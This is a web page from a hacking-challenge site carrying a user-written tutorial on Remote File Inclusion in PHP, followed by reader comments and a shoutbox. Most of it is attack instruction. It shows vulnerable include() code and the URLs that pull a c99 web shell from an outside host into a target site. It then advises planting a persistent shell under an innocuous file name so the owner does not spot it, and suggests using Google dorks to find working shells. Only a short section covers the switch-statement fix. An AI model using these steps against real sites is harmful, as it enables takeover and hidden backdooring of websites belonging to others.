Thisislegal.com

:[ Login ]:

welcome, please log-in:




 Remember Me  ?
About: Remember Me
Ticking this box will make the site remember you for 24 hours. However, each time you visit the site this time is renewed, so if you are a regular visitor you will stay logged in.


Register An Account
Forgot Password?

:[ Forums ]:
Latest post in: Challenge Help
topic:
Bonus 5
by: BuRNeD
:[ Welcome ]:


Remote File Inclusion



Remote File Inclusion is a method used to gain full access to a website. The exploit relies on the PHP Include() function. Sites using this function will usually have links similar to


index.php?file=something

Index.php?page=something


If this isn't coded properly, the script doesn't check where the file is coming from and so an inclusion from another site will be accepted and run on the server. This means that a text file containing PHP script can be hosted on another site but run on the site being targeted.

Now this is where web shells come in. A web shell is script that can handle simple tasks such as uploading, deleting and executing commands (such as SQL). The most common shell being the c99 but others are available such as the r57 and c100. This basically means that if you get a web shell to execute on an unprotected site, you will have full control over that site - and will be able to upload or delete any file you wish.



There are 2 types of php code vulnerable to this, and each requires a slightly different method, you don't really know which method is being used, so you simply try both methods. The vulnerable php codes are as follows:

<?php
$page = $_GET['page'];
include($page);
?>
<?php
$page = $_GET['page'];
include($page . ".php");
?>


How to do this


If you have found a vulnerable site, this is how to exploit it. Firstly you need to upload your shell to your own website as a text file. For this I will use www.site.com/c99.txt . Then all you do is simply put this link at the end of you vulnerable site. I will use www.example.com . So the final strings to run the web shell are:


www.example.com/index.php?file=http://www.site.com/c99.txt

and www.example.com/index.php?file=http://www.site.com/c99.txt? (the question mark should be at the end)



This will execute in the PHP like so:

Example1:

include('http://www.site.com/c99.txt');

Example2:

include('http://www.site.com/c99.txt?.php');

Which includes the web shells script in the page.

Have Access?


If you have a web shell on the site, but want to make sure you still have access if the owner changes the php script you could upload your shell to their site. Save the text file to your computer and rename it from .txt to .php then simply upload it using the shell you already have on the site (www.site.com/index.php?file=http://www.site.com/c99.txt ?)

But be sure to name it something that is less obvious to the site owner than c99.php so that it looks like it is part of his site. Look around at the names of his pages.

What a shell looks like


This shell below doesn't actually work.  But if you are using a c99 shell and are successful you will be displayed with a page that looks like this: c99.php

notice at the top it says:  Safe-mode: OFF (not secure)

and below upload, and make file it says:

[ ok ]

This means that you would have complete control over the site. A few google dorks can easily find you a real shell though since this is so popular at the moment.

Protect your site

Want to still use the index.php?file= but make sure your site isn't vulnerable to rfi? no problem, just use the "switch" statement (like this site uses) that defines the pages before hand. The code is shown below.

<?php
$page = $_GET['page'];
switch($page){
case "page1":
include("page1.php");
break;
case "page2":
include("page2.php");
break;
default: //this is for if people don't type anything
include("home.php");
break;
}
?>


Well, that's the end of this tutorial. If you want to make sure you know how to do it, try challenge 3 on this site.





Was this tutorial helpful? please rate:

You Must Login To Vote




Previous Tutorial  |  Next Tutorial


Tutorial By t0mmy9

Comments:


GuestReply 
damn, it hardly works anywhere nowdays
GuestReply 
let me try it
Gringo MasterReply 
Sweet, thanks. This was Helpful.
GuestReply 
this is very nice!


Submit Comment:




Human test. Enter 9Xj :




Click here to Vote!    Firefox 3  Opera Web Browser  Valid XHTML 1.0 Transitional

Home | Challenges | Forums | Contact | About (Disclaimer)
Copyright © 2007-10 Thisislegal.com, All Rights Reserved

 
:[ ShoutBox ]:
Guest - Login to use your nickname


Guest:
Dz-CraCker
ghost7013:
RFI doesnt work on tht ..
atiyka:
hi
Guest:
peace
Guest:
yo! i luv paraamore
0xtceb:
@ghost : Think RFI
ghost7013:
break means break ... simple ... use da c99
Pages: 1, 2...162
Goto: